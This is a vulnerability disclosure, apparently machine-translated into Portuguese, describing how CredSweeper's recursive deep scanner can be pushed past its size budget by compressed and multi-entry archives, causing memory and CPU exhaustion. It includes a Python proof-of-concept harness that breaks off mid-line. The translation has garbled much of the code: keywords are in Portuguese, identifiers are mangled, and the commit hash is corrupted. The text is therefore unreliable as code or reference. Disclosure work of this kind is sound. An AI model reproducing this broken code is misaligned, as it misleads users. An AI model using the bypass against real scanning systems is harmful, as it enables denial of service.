### O scanner profundo do CredSweeper não aplica o `recursive_limit_size` como um limite rígido. Vários scanners recursivos descomprimir ou ler o conteúdo controlado pelo atacante antes de validar o orçamento restante, e `ResumoScanner.recursive_scan()` continua o processamento mesmo quando o orçamento residual já é negativo. Isto permite que um arquivo criado contorne a proteção recursiva de bomba zip e força o consumo excessivo de memória / CPU quando a digitalização profunda é ativada (`-- profundidade > 0 `). Confirmei isso no commit a montante ` 8 b 081 acf 04311 fácil 8 fbd 66 x 41 d 02 b 0 a 7 a 4 c 6 f 6 ` / versão do pacote ` 1.15.8 `. O problema tem dois caminhos de exploração estreitamente relacionados que compartilham a mesma causa raiz: 1. Descompressor de fluxo único: `gzip`, `bzip 2 `, e `lzma/xz` são totalmente descomprimidos primeiro, então o orçamento restante é calculado, e a varredura recursiva prossegue mesmo que o resultado seja negativo. 2. O arquivo de entradas múltiplas de orçamento cumulativo bypass: as entradas `zip` e `tar` são verificadas apenas contra o orçamento original por entrada, não contra um orçamento cumulativo mutável restante compartilhado entre entradas de irmãos. Múltiplos pequenos itens individualmente podem, portanto, exceder o limite recursivo configurado em agregado.
O impacto é a disponibilidade/ exaustão de recursos. Não confirmo a execução arbitrária de código, gravação arbitrária de arquivos ou exfiltração de dados deste problema. ### Detalhes A vulnerabilidade está no caminho de escaneamento profundo recursivo que é usado quando o CredSweeper digitaliza os dados como o recipiente recursivamente. A cadeia de chamadas relevante é. - ` cradsweeper/ app.py: 323 ` ` self.deep_scanner.scan(content_provider, self.config.profundity, self.config.size_limit)` - `credsweeper/deep_scanner/abstract_scanner.py: 269 - 305 ` O ponto de entrada inicial de scan profundo passa um orçamento de tamanho recursivo para scanners aninhados. - ` cradsweeper/ deep_scanner/ abstract_scanner.py: 58 - 94 ` ` recursive_scan()` para somente em: - profundidade negativa - dados menores que `MIN_DATA_LEN` Ele não para **** quando ` recursive_limit_size` é negativo. Edição de nível de fonte exato. 1. Orçamentos negativos ainda são aceitos ` cradsweeper/deep_scanner/abstract_scanner.py: 71 - 91 `. ````python se 0 > profundidade: devolver a profundidade dos candidatos -= 1 se MIN_DATA_LEN > len(data_provider.data): retorna candidatos... new_candidates = self.deep_scan_with_fallback(data_provider, profundidade, recursive_limit_size) ```.
Não há guardas como ` se recursive_limit_size < 0: retorno. 2. Descompressão completa ocorre antes de qualquer execução de orçamento difícil. ` cradsweeper/ deep_scanner/ gzip_scanner.py: 33 - 43 ` ````python com gzip.open(io.BytesIO(data_provider.data)) como f: gzip_content_provider = DataContentProvider(data=f.read(),...) new_limit = recursive_limit_size - len(gzip_content_provider.data) gzip_candidates = self.recursive_scan(gzip_content_provider, profundity, new_limit) ``` ` cradsweeper/deep_scanner/bzip 2 _scanner.py: 38 - 43 `. ````python bzip 2 _conteúdo_provider = DataContentProvider(data=bz 2.decompress(data_provider.data),...) new_limit = recursive_limit_size - len(bzip 2 _conteúdo_provider.data) bzip 2 _candidatos = auto.recursive_scan(bzip) 2 _conteúdo_provider, profundidade, novo_limite) ``` ` cradsweeper/deep_scanner/lzma_scanner.py: 38 - 43 `. ```python lzma_content_provider = DataContentProvider(data=lzma.decompress(data_provider.data),...) new_limit = recursive_limit_size - len(lzma_content_provider.data) lzma_candidates = self.recursive_scan(lzma_content_provider, defound, new_limit) ```.
A carga útil descomprimida é materializada em memória primeiro. Só depois é calculado o orçamento residual, e como `recursive_scan()` aceita orçamentos negativos, o conteúdo oversize ainda é digitalizado. 3. Arquivos de entrada múltipla usam cheques por entrada em vez de um orçamento cumulativo compartilhado ` cradsweeper/deep_scanner/zip_scanner.py: 49 - 60 `. ````python se 0 > recursive_limit_size - zfl.file_size: continue com zf.open(zfl) como f: zip_content_provider = DataContentProvider(data=f.read(),...) new_limit = recursive_limit_size - len(zip_content_provider.data) zip_candidates = self.recursive_scan(zip_content_provider, profundidade, new_limit) ``` ` cradsweeper/deep_scanner/tar_scanner.py: 48 - 59 `. ````python se 0 > recursive_limit_size - tfi.size: continue com tf.extractfile(tfi) como f: tar_content_provider = DataContentProvider(data=f.read(),...) new_limit = recursive_limit_size - len(tar_content_provider.data) tar_candidates = self.recursive_scan(tar_content_provider, profundidade, new_limit) `` Estas verificações usam o mesmo `recursive_limit_size` original para cada item de irmão. O orçamento não é decrementado globalmente após o primeiro membro extraído. Portanto, um `zip` ou `tar` com muitos arquivos pequenos individualmente pode exceder o limite de extração agregado pretendido.
4. O mesmo padrão de código também está presente na digitalização RPM. ` cradsweeper/ deep_scanner/ rpm_scanner.py: 42 - 51 ` O scanner RPM usa o mesmo padrão por membro que ZIP/TAR. Eu não incluí um PdC de runtime RPM abaixo apenas porque ele requer uma dependência extra de terceiros analisadores, mas o padrão de nível de fonte é o mesmo. - A lógica de digitalização recursiva vulnerável foi introduzida pelo commit ` 0 bd 8 fe 56 anúncio 2 e 08 b 12 d 47677 f 7 dbe 1 a 75913969 ae`. - A última versão antes do commit é `v 1.4.8 `. - A primeira versão que contém esse commit é ` v 1.4.9 `. - HEAD atual e versão do pacote ` 1.15.8 " ainda estão afetados. ### PoC Eu reproduzi o problema em. - Repository: ` - Commit: ` 8 b 081 acf 04311 fácil 8 fbd 66 x 41 d 02 b 0 a 7 a 4 c 6 f 6 ` - Versão: ` 1.15.8 ` Eu usei um arnês de dependência- luz que importa os arquivos fonte exatos vulneráveis por caminho e stubs módulos não relacionados apenas para isolar a lógica de scanner profundo. A prova usa apenas a biblioteca padrão do Python.
1. Clone o repositório. ````bash git clone cd CredSweeper git checkout 8 b 081 acf 04311 fácil 8 fbd 66 x 41 d 02 b 0 a 7 a 4 c 6 f 6 ``` 2. Salvar o seguinte como `preparo_poc.py` uma pasta acima do repositório, ou ajustar `REPO_ROOT` em conformidade: ```python importa bz 2 importar gzip importar importlib.util importar io importar json importar lzma importar os subprocessados importar sys importar os tipos de arquivos de importação importar zipfile importar REPO_ROOT = os.path.abspath(os.environ.get("CREDSWEEPER_REPO", "CredSweeper")) SOURCE_ROOT = os.path.join(REPO_ROOT, "Credsweeper"). def load_module(name, relpath): spec = importlib.util.spec_from_file_location(name, os.path.join(SOURCE_ROOT, relpath)) módulo = importlib.util.module_from_spec(spec) sys.modules[name] = módulo spec.loader.exec_module(module) módulo de retorno def reset_credsweeper_modules(): para nome na list(sys.modules): se nome == "credsweeper" ou nome. startswith("credsweeper."): del sys.modules[ nome].
def install_common_stubs(): para nome em [ "credsweeper", "credsweeper.common", "credsweeper.config", "credsweeper.credentials", "credsweeper.deep_scanner", "credsweeper.file_handler", "credsweeper.scanner", "credsweeper.utils", ]: módulo = tipos.Módulo de módulosType(nome).__path_ = [] sys.modules[nome] = módulo constantes_module = types.ModuleType("credsweeper.common.constants") constants_module.RECURSIVE_SCAN_LIMITATION = 1 << 30 constantes_module.MIN_DATA_LEN = 8 constantes_module.DEFAULT_ENCODING = "utf_ 8 " constantes_module.UTF_ 8 = "utf_ 8 " constantes_module.MIN_VALUE_LENGUA = 4 sys.modules["credsweeper.common.constants"] = constants_module config_module = type.ModuleType("credsweeper.config.config") classe Config: passe config_module.Config = Config sys.modules["credsweeper.config.config"] = config_module. candidate_módulo = tipos.ModuloType("credsweeper.credentials.candidate") classe Candidato: @staticmethod def get_dummy_candidate(*_args, **_kwargs): retorna "dummy" candidate_module.candidate = candidato sys.modules["credsweeper.credentials.candidate"] = candidate_module amplifique_módulo = tipos.ModuloType("credsweeper.credentials.augment_candidates") def amplifique_candidates(dst, src): se src: dst.extende(src) amplifique_module.augment_candidates = amplifique_candidates sys.modules["credsweeper.credentials.augment_candidates"] = amplifique_module.
descriptor_module = type.ModuleType("credsweeper.file_handler.descriptor") classe Descriptor: def __init__(self, extension="", info=""): self.extension = extension self.info = info descriptor_module.Descriptor = Descriptor sys.modules["credsweeper.file_handler.descriptor"] = descriptor_module file_path_extractor_module = types.ModuleType("credsweeper.file_handler.file_path_extractor") classe FilePathExtractor: FIND_BY_EXT_RULE = "Extensão de arquivo suspeitosa" @statmethod def is_find_by_ext_file(_config, _extensão): devolver False @statmethod def check_exclude_file(_config, _path): devolver False file_path_extractor_module.FilePathExtractor = FilePathExtractor sys.modules["credsweeper.file_handler.file_path_extractor"] = file_path_extractor_module scanner_module = types.ModuleType("credsweeper.scanner.scanner") classe Scanner: passe scanner_module.Scanner = Scanner sys.modules["credsweeper.scanner.scanner"] = scanner_module. util_module = type.ModuleType("credsweeper.utils.util") classe Utilizar: @staticmethod def get_extension(path, lower=True): ext = os.path.splitext(str(path))[ 1 ] retorna ext.lower() se mais baixo ext ut_module.Util = Utilize sys.modules["credsweeper.utils.util"] = util_module content_provider_module = types.ModuleType("credsweeper.file_handler.content_provider") classe ConteúdoProvider: passe content_provider_module.ConteúdoProvider = ConteúdoProvider sys.modules["credsweeper.file_handler.content_provider"] = content_provider_module. data_content_provider_module = types.ModuleType("credsweeper.file_handler.data_content_provider") classe DataContentProvider: def _init__(self, data, file_path=Nenhum, file_type=Nem, info=Nenhum): self.data = data self.file_path = file_path ou "" self.file_type = file_type ou "" self.info = info ou "" self.descriptor = Descriptor(extension=self.file_type, info=self.info) data_content_provider_module.DataContentProvider = DataContentSys.moduleProvider["credsweeper.file_handler.data_content_provider"] = data_content_provider_module.
def install_provider_stub(module_name, class_name): módulo = tipos.ModuleType(module_name) class Provider: def __init__(self, *args, **kwargs): para chave, valor em kwargs.items(): setatr(self, key, value) setatr(module, class_name, Provider) sys.modules[module_name] = módulo install_provider_stub("credsweeper.file_handler.byte_content_provider", "ByteContentProvider") install_provider_stub("credsweeper.file_handler.diff_content_provider", "DiffContentProvider") install_provider_stub("credsweeper.file_handler.string_content_provider", "StringContentProvider") install_provider_stub("credsweeper.file_handler.struct_content_provider", "StructContentProvider") install_provider_stub("credsweeper.file_handler.text_content_provider", "TextContentProvider"). def get_head_commit(): retorno subprocess.check_output(["git", "rev-parse", "HEAD"], cwd=REPO_ROOT, text=True).strip() def get_package_version(): init_path = os.path.join( SOURCE_ROOT, "_init__.py") com open(init_path, "r", coding="utf- 8 ") como handle: para linha no handle: se line.strip(. startswith("__version___ = "): return line.split("=", 1 )[ 1 ].strip(.strip('"') aumenta o RuntimeError("Impossível localizar __version__") def load_scanners(): reset_credsweeper_modules() install_common_stubs() abstract_module = load_module("credsweeper.deep_scanner.abstract_scanner", "deep_scanner/abstract_scanner.py") gzip_module = load_module("credsweeper.deep_scanner.gzip_scanner", "deep_scanner/gzip_scanner.py") bzip 2 _módulo = load_module("credsweeper.deep_scanner.bzip 2 _scanner", "deep_scanner/bzip 2 _scanner.py") lzma_module = load_module("credsweeper.deep_scanner.lzma_scanner", "deep_scanner/lzma_scanner.py") zip_module = load_module("credsweeper.deep_scanner.zip_scanner", "deep_scanner/zip_scanner.py") tar_module = load_module("credsweeper.deep_scanner.tar_scanner", "deep_scanner/tar_scanner.py") provider_module = sys.modules["credsweeper.file_handler.data_content_provider"] retorna abstract_module, gzip_module, bzip 2 _módulo, lzma_módulo, zip_módulo, tar_módulo, provider_módulo.
Class RecordingRecursiveCalls: def __init__(self): self.calls = [] self.config = Object() def recursive_scan(self, data_provider, profundity, recursive_limit_size): self.calls.append({ "path": data_provider.file_path, "len": len(data_provider.data), "limit": recursive_limit_size, "info": data_provider.info, "profundity": profundity, }) retorna [] def build_compressed_payloads(payload): gzip_buffer = io.BytesIO() com gzip.GzipFile(fileobj=gzip_buffer, mode="wb") como handle: handle.write(payload) retorna { "gzip": gzip_buffer.getvalue(), "bzip 2 ": bz 2.compress(payload), "lzma": lzma.compress(payload), } def forfe_negative_ budget_after_full_decompression(): _, gzip_module, bzip 2 _módulo, lzma_módulo, _, _, provider_módulo = load_scanners() DataContentProvider = provider_módule.DataContentProvider whileload = b"A" * 64 recursive_limit_size = 16 comprimido_payloads = build_compressed_payloads(payload) resultados = [] para nome, módulo, nome do arquivo em [ ("gzip", gzip_module, "proof.txt.gz"), ("bzip 2 ", bzip 2 _módulo, "proof.txt.bz 2 "), ("lzma", lzma_module, "proof.txt.xz"), ]: gravador = GravaçãoCalls()Provider = DataContentProvider(compressed_payloads[name], file_path=file_name, file_type=os.path.splitext(file_name)[ 1 ], info=f"FILE:{file_name}") scanner_class = getattr(módulo, f"{name.capitalize() se nome!= 'bzip 2 ' out 'Bzip 2 '}Scanner") scanner_class.data_scan(registro, provedor, profundidade= 1, recursive_limit_size=recursive_limit_size) results.append({ "formato": nome, "compressed_size": len(compressed_payloads[nome]), "decompressed_size": gravador.calls[ 0.["len"], "configurado_limite": recursive_limit_size, "residual_limit_seen_by_recursive_scan": gravador.chamadas[ 0.["limite"], "recursive_call": gravador.calls[ 0 ], }) devolve os resultados def proof_negative_ budget_not_rejected(): abstract_module, _, _, _, _, provider_module = load_scanners() DataContentProvider = provider_module.DataContentProvider AbstractScanner = abstract_module.Resumo Scanner clas.